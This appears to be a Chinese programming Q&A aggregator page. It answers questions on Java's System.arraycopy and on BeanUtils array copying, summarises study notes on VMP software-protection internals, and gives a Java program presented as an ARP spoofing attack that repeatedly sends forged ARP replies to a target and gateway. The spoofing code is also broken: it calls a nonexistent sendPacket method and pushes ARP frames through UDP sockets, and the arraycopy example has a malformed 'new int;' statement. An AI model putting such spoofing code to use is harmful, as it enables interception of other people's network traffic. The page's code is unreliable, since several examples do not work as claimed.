System.arraycopy()方

时间: 2024-05-30 12:06:21 浏览: 19
`System.arraycopy()`是Java中一个用于复制数据的方法,可以用于将一个数组中的一部分或全部元素复制到另一个数组中。具体语法如下: ```java public static void arraycopy(Object src, int srcPos, Object dest, int destPos, int length) ``` 参数说明: - src:源数组。 - srcPos:源数组要复制的起始位置。 - dest:目标数组。 - destPos:目标数组放置的起始位置。 - length:复制的长度。 例如,我们可以使用`System.arraycopy()`将一个整型数组中的元素复制到另一个数组中: ```java int[] srcArray = { 1, 2, 3, 4, 5 }; int[] destArray = new int; System.arraycopy(srcArray, 0, destArray, 0, 5); System.out.println(Arrays.toString(destArray)); // 输出:[1, 2, 3, 4, 5] ``` 以上代码将源数组`srcArray`中的所有元素复制到目标数组`destArray`中,最终输出目标数组中的元素。
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beanutils.copyproperties 数组对象

BeanUtils.copyProperties方法可以用于将一个JavaBean的属性值复制到另一个JavaBean中。如果属性是数组类型,BeanUtils.copyProperties方法会将源JavaBean中的数组对象的引用复制到目标JavaBean中,而不是复制数组对象本身。这意味着,如果你修改了目标JavaBean中的数组对象,源JavaBean中的数组对象也会被修改。因此,在使用BeanUtils.copyProperties方法时,需要注意数组对象的处理。 如果你需要复制数组对象本身,可以使用其他的工具类或手动实现。例如,可以使用Arrays.copyOf方法复制数组对象,或者使用System.arraycopy方法将源数组的内容复制到目标数组中。另外,也可以使用第三方库,如Apache Commons Lang中的ArrayUtils类,来处理数组对象的复制。

java实现ARP欺骗

ARP欺骗是一种网络攻击方式,它会伪装成网络中的另一台主机,向网络中的其他主机发送虚假的ARP响应包,从而达到窃取数据、中间人攻击等目的。下面是一个使用Java实现ARP欺骗的示例程序: ```java import java.io.IOException; import java.net.InetAddress; import java.net.NetworkInterface; import java.net.SocketException; import java.net.UnknownHostException; import java.util.Arrays; public class ArpSpoofing { private static final byte[] BROADCAST_MAC = {(byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff}; private static final byte[] ARP_REQUEST_HEADER = {(byte) 0x00, (byte) 0x01}; private static final byte[] ARP_REPLY_HEADER = {(byte) 0x00, (byte) 0x02}; private static final byte[] ETHERNET_HEADER = {(byte) 0x00, (byte) 0x01, (byte) 0x02, (byte) 0x03, (byte) 0x04, (byte) 0x05}; public static void main(String[] args) throws UnknownHostException, SocketException, IOException, InterruptedException { String targetIp = "192.168.0.100"; // 目标主机IP地址 String gatewayIp = "192.168.0.1"; // 网关IP地址 String interfaceName = "eth0"; // 网络接口名 byte[] targetMac = getMacAddress(targetIp, interfaceName); // 获取目标主机MAC地址 byte[] gatewayMac = getMacAddress(gatewayIp, interfaceName); // 获取网关MAC地址 // 发送ARP欺骗包 while (true) { sendArpReply(targetIp, targetMac, gatewayIp, gatewayMac, interfaceName); Thread.sleep(1000); } } private static void sendArpReply(String targetIp, byte[] targetMac, String gatewayIp, byte[] gatewayMac, String interfaceName) throws IOException { byte[] packetData = new byte[42]; // 设置以太网头部 System.arraycopy(targetMac, 0, packetData, 0, 6); // 目标MAC地址 System.arraycopy(ETHERNET_HEADER, 0, packetData, 6, 6); // 源MAC地址 packetData[12] = 0x08; // 以太网类型 // 设置ARP头部 System.arraycopy(BROADCAST_MAC, 0, packetData, 14, 6); // 目标MAC地址 System.arraycopy(getMacAddress(gatewayIp, interfaceName), 0, packetData, 20, 6); // 源MAC地址 System.arraycopy(ARP_REPLY_HEADER, 0, packetData, 26, 2); // ARP响应头部 System.arraycopy(getMacAddress(gatewayIp, interfaceName), 0, packetData, 28, 6); // 发送方MAC地址 System.arraycopy(InetAddress.getByName(targetIp).getAddress(), 0, packetData, 38, 4); // 目标IP地址 System.arraycopy(targetMac, 0, packetData, 32, 6); // 目标MAC地址 // 发送ARP欺骗包 NetworkInterface networkInterface = NetworkInterface.getByName(interfaceName); networkInterface.getInterfaceAddresses().stream().filter(address -> address.getAddress().getAddress().length == 4).findFirst().ifPresent(address -> { try { InetAddress broadcastAddress = address.getBroadcast(); if (broadcastAddress != null) { networkInterface.sendPacket(new java.net.DatagramPacket(packetData, packetData.length, broadcastAddress, 0)); } } catch (IOException e) { e.printStackTrace(); } }); } private static byte[] getMacAddress(String ip, String interfaceName) throws UnknownHostException, SocketException { NetworkInterface networkInterface = NetworkInterface.getByName(interfaceName); byte[] hardwareAddress = networkInterface.getHardwareAddress(); byte[] ipBytes = InetAddress.getByName(ip).getAddress(); // 构造ARP请求包 byte[] packetData = new byte[28]; System.arraycopy(BROADCAST_MAC, 0, packetData, 0, 6); // 目标MAC地址 System.arraycopy(hardwareAddress, 0, packetData, 6, 6); // 源MAC地址 System.arraycopy(ARP_REQUEST_HEADER, 0, packetData, 12, 2); // ARP请求头部 System.arraycopy(hardwareAddress, 0, packetData, 14, 6); // 发送方MAC地址 System.arraycopy(ipBytes, 0, packetData, 24, 4); // 目标IP地址 // 发送ARP请求包 networkInterface.getInterfaceAddresses().stream().filter(address -> address.getAddress().getAddress().length == 4).findFirst().ifPresent(address -> { try { InetAddress broadcastAddress = address.getBroadcast(); if (broadcastAddress != null) { java.net.DatagramSocket socket = new java.net.DatagramSocket(); socket.setSoTimeout(5000); socket.send(new java.net.DatagramPacket(packetData, packetData.length, broadcastAddress, 0)); // 接收ARP响应包 byte[] receiveBuffer = new byte[28]; socket.receive(new java.net.DatagramPacket(receiveBuffer, receiveBuffer.length)); System.out.println(Arrays.toString(receiveBuffer)); // 解析ARP响应包 byte[] macAddress = new byte[6]; System.arraycopy(receiveBuffer, 6, macAddress, 0, 6); System.out.println(ip + " -> " + Arrays.toString(macAddress)); } } catch (IOException e) { e.printStackTrace(); } }); return hardwareAddress; } } ``` 这个示例程序使用了`NetworkInterface`类来获取网络接口的信息,并使用`DatagramSocket`类来发送ARP请求和欺骗包。需要注意的是,在实际使用中还需要考虑多种情况,例如网络拓扑结构、MAC地址缓存等因素的影响,否则可能会导致ARP欺骗失败。同时,ARP欺骗是一种违法的网络攻击行为,请勿用于非法用途。

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"这篇学习笔记主要探讨了VMP(Virtual Machine Protect,虚拟机保护)技术在Handle块优化和壳模板初始化方面的应用。作者参考了看雪论坛上的多个资源,包括关于VMP还原、汇编指令的OpCode快速入门以及X86指令编码内幕的相关文章,深入理解VMP的工作原理和技巧。" 在VMP技术中,Handle块是虚拟机执行的关键部分,它包含了用于执行被保护程序的指令序列。在本篇笔记中,作者详细介绍了Handle块的优化过程,包括如何删除不使用的代码段以及如何通过指令变形和等价替换来提高壳模板的安全性。例如,常见的指令优化可能将`jmp`指令替换为`push+retn`或者`lea+jmp`,或者将`lodsbyteptrds:[esi]`优化为`moval,[esi]+addesi,1`等,这些变换旨在混淆原始代码,增加反逆向工程的难度。 在壳模板初始化阶段,作者提到了1.10和1.21两个版本的区别,其中1.21版本增加了`Encodingofap-code`保护,增强了加密效果。在未加密时,代码可能呈现出特定的模式,而加密后,这些模式会被混淆,使分析更加困难。 笔记中还提到,VMP会使用一个名为`ESIResults`的数组来标记Handle块中的指令是否被使用,值为0表示未使用,1表示使用。这为删除不必要的代码提供了依据。此外,通过循环遍历特定的Handle块,并依据某种规律(如`v227&0xFFFFFF00==0xFACE0000`)进行匹配,可以找到需要处理的指令,如`push0xFACE0002`和`movedi,0xFACE0003`,然后将其替换为安全的重定位值或虚拟机上下文。 在结构体使用方面,笔记指出壳模板和用户代码都会通过`Vmp_AllDisassembly`函数进行解析,而且0x8和0x10字段通常都指向相同的结构体。作者还提到了根据`pNtHeader_OptionalHeader.Magic`筛选`ESI_Matching_Array`数组的步骤,这可能是为了进一步确定虚拟机上下文的设置。 这篇笔记深入解析了VMP技术在代码保护中的应用,涉及汇编指令的优化、Handle块的处理以及壳模板的初始化,对于理解反逆向工程技术以及软件保护策略有着重要的参考价值。
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